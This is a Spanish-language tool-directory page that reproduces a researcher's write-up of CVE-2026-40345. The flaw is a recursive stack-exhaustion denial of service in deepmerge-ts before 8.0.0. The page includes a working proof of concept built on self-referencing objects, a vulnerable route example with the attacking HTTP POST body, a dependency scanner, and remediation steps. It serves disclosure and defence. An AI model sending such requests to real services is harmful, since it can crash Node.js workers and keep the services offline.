Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/jvr2022/cve-2026-40345
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebSeguridad de Cadena de Suministro
GitHubjvr2022/cve-2026-40345

CVE-2026-40345

Reproduce una denegación de servicio por agotamiento de pila en deepmerge-ts anterior a 8.0.0, documenta la explotación e incluye un escáner para rangos de dependencias vulnerables.

Ver Repositorio
63hace 23 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

deepmerge-ts < 8.0.0: DoS recursivo por grafo de objetos

Reproduje un fallo de agotamiento de pila en las versiones de deepmerge-ts anteriores a 8.0.0.

La parte interesante es que el bloqueo no necesita un objeto anidado enorme. Proviene de la identidad del objeto. Si ambos valores que se fusionan se apuntan a sí mismos a través de la misma propiedad, la rutina de fusión sigue visitando el mismo par hasta que Node.js se queda sin espacio de pila.

Aviso: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 Gravedad: Alta Impacto: Disponibilidad

Por qué esto destacó

La mayoría de las pruebas de fusión usan datos JSON ordinarios:

root@kitploit:~
{
  user: {
    name: "alice"
  }
}

Ese tipo de datos es acíclico. Los objetos de JavaScript también pueden contener referencias a sí mismos o a otro objeto dentro del mismo grafo. Estos casos son fáciles de pasar por alto si la suite de pruebas solo usa datos de prueba JSON.

El grafo fallido más pequeño son dos objetos separados con la misma autorreferencia:

root@kitploit:~
const left = {};
left.self = left;

const right = {};
right.self = right;

Qué ocurre internamente

La fusión de registros recorre las claves enumerables, recopila los valores de cada clave y vuelve a llamar a la rutina de fusión para esos valores. En las versiones afectadas no hay comprobación de ciclos ni seguimiento de los pares de objetos ya vistos.

La clave self devuelve la ejecución al mismo estado:

root@kitploit:~
deepmerge(left, right)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> RangeError: Maximum call stack size exceeded

El mismo comportamiento se puede alcanzar a través de deepmergeInto, deepmergeCustom y deepmergeIntoCustom cuando reciben el mismo tipo de grafo.

Reproducción local

El paquete está fijado a la versión afectada 7.1.6 en package.json.

root@kitploit:~
npm install
npm run poc

La prueba completa está en poc.mjs. Ejecuta ambas APIs públicas localmente y captura el RangeError esperado para que el resultado sea fácil de leer.

La parte importante del PoC es:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function recursiveRecord() {
  const record = {};
  record.self = record;
  return record;
}

deepmerge(recursiveRecord(), recursiveRecord());

Salida esperada:

root@kitploit:~
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded

El PoC devuelve éxito cuando se observa el comportamiento afectado. Si el paquete se actualiza y ambas llamadas se completan, imprime un resultado limpio y sale con el estado 1 porque el problema no se reprodujo.

Cómo se puede explotar esto

No hay ningún payload JSON cíclico mágico. Un analizador JSON normal crea un grafo acíclico, por lo que esto no se activa simplemente enviando un cuerpo JSON muy profundo a:

root@kitploit:~
deepmerge(defaults, req.body);

La aplicación necesita crear o preservar el ciclo antes de llamar a la función de fusión. Esto puede ocurrir en el código de hidratación de grafos, un deserializador que preserva referencias, la reutilización de objetos de caché o sesión, o lógica personalizada que enlaza registros entre sí.

Aquí hay un pequeño ejemplo de una integración vulnerable. La función hydrate convierte una bandera controlada por el usuario en una autorreferencia:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function hydrate(input) {
  const object = { value: input.value };
  if (input.self === true) object.self = object;
  return object;
}

function mergeRequest(body) {
  const left = hydrate(body.left);
  const right = hydrate(body.right);
  return deepmerge(left, right);
}

Si una ruta HTTP llama a mergeRequest, un atacante puede enviar:

root@kitploit:~
POST /merge
Content-Type: application/json

{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}

Ahora ambos lados contienen una referencia self. Cuando la ruta llama a deepmerge(left, right), la biblioteca sigue left.self y right.self, recibe el mismo par de nuevo y recurre hasta que V8 lanza una excepción.

Una aplicación no tiene que usar esta función hydrate exacta. Las condiciones importantes son:

  1. Los datos controlados por el atacante pueden influir en un grafo de objetos recursivo.
  2. Ambas entradas de la fusión contienen un ciclo en la misma ruta de propiedad.
  3. El grafo llega a una de las APIs de fusión afectadas.

Si la ruta es pública y la excepción no se captura, una sola solicitud puede detener el worker de Node.js. Si un supervisor de procesos lo reinicia automáticamente, las solicitudes repetidas pueden mantener el servicio en un bucle de reinicio. Si se requiere autenticación, el atacante todavía necesita acceso a esa ruta.

Este es un problema de denegación de servicio. El fallo no proporciona ejecución de código, acceso a archivos ni una forma de leer la entrada de fusión de otra solicitud.

Por qué solo JSON no es suficiente

Esta distinción es importante al evaluar una aplicación real. El siguiente cuerpo de solicitud no es en sí mismo un ciclo:

root@kitploit:~
{
  "self": true
}

Solo se vuelve relevante si el código de la aplicación interpreta self: true como una referencia al objeto raíz, o si otro analizador restaura las referencias a objetos. El paquete debería manejar el grafo resultante de forma segura, pero la explotabilidad remota depende del código que rodea al paquete.

Impacto

El impacto directo es la disponibilidad a través del agotamiento síncrono de la pila.

Dependiendo de la aplicación circundante, el resultado puede ser:

  • una solicitud que falla con un RangeError
  • una excepción no capturada que finaliza un proceso worker
  • reinicios repetidos del worker bajo un gestor de procesos
  • una cola de solicitudes acumulándose mientras los workers se reinician
  • un servicio que deja de estar disponible cuando la ruta se puede alcanzar repetidamente

Este problema no tiene impacto de confidencialidad ni integridad por sí mismo. La gravedad aumenta cuando la ruta de fusión no está autenticada, es accesible desde Internet público o es reintentada automáticamente por otro servicio.

Detección

Añadí scanner.mjs para encontrar referencias de dependencias afectadas antes de ejecutar el PoC del bloqueo. Comprueba:

  • rangos de dependencias de package.json
  • package-lock.json
  • npm-shrinkwrap.json
  • pnpm-lock.yaml

Ejecútalo contra un directorio de proyecto:

root@kitploit:~
node scanner.mjs /path/to/project

Para CI u otras herramientas, usa la salida JSON:

root@kitploit:~
node scanner.mjs /path/to/project --json

Ejemplo de resultado para este repositorio:

root@kitploit:~
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6

El escáner sale con el estado 1 cuando encuentra una versión o rango afectado. Las URL de Git y otras fuentes que no son semver se marcan como REVIEW en lugar de tratarse silenciosamente como seguras.

Remediación

La solución directa es actualizar a deepmerge-ts >= 8.0.0 y actualizar el lockfile.

root@kitploit:~
npm install deepmerge-ts@^8.0.0

La aplicación también debería decidir cómo manejar la entrada recursiva. Las opciones razonables son:

  • rechazar ciclos en el límite de entrada
  • rastrear los pares de objetos visitados durante la fusión
  • limitar la profundidad de fusión y fallar con un error controlado
  • capturar los errores de fusión en el límite de la solicitud
  • supervisar las salidas del worker y los bucles de reinicio

Capturar el error es útil para la estabilidad del proceso, pero no elimina la denegación de servicio subyacente si un atacante puede repetir la solicitud. Actualizar la dependencia y manejar la entrada recursiva son las correcciones importantes.

Verificación de la versión corregida

Cambia la dependencia a 8.0.1, reinstala y ejecuta el mismo PoC:

root@kitploit:~
npm install [email protected]
npm run poc

En la versión corregida ambas llamadas se completan y el script imprime:

root@kitploit:~
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.

Referencias

  • Aviso de seguridad de GitHub
  • CVE-2026-40345
  • deepmerge-ts en npm
  • CWE-674: Recursión no controlada

Licencia

El PoC y el escáner de este repositorio se publican bajo la Licencia MIT.

Descargar herramienta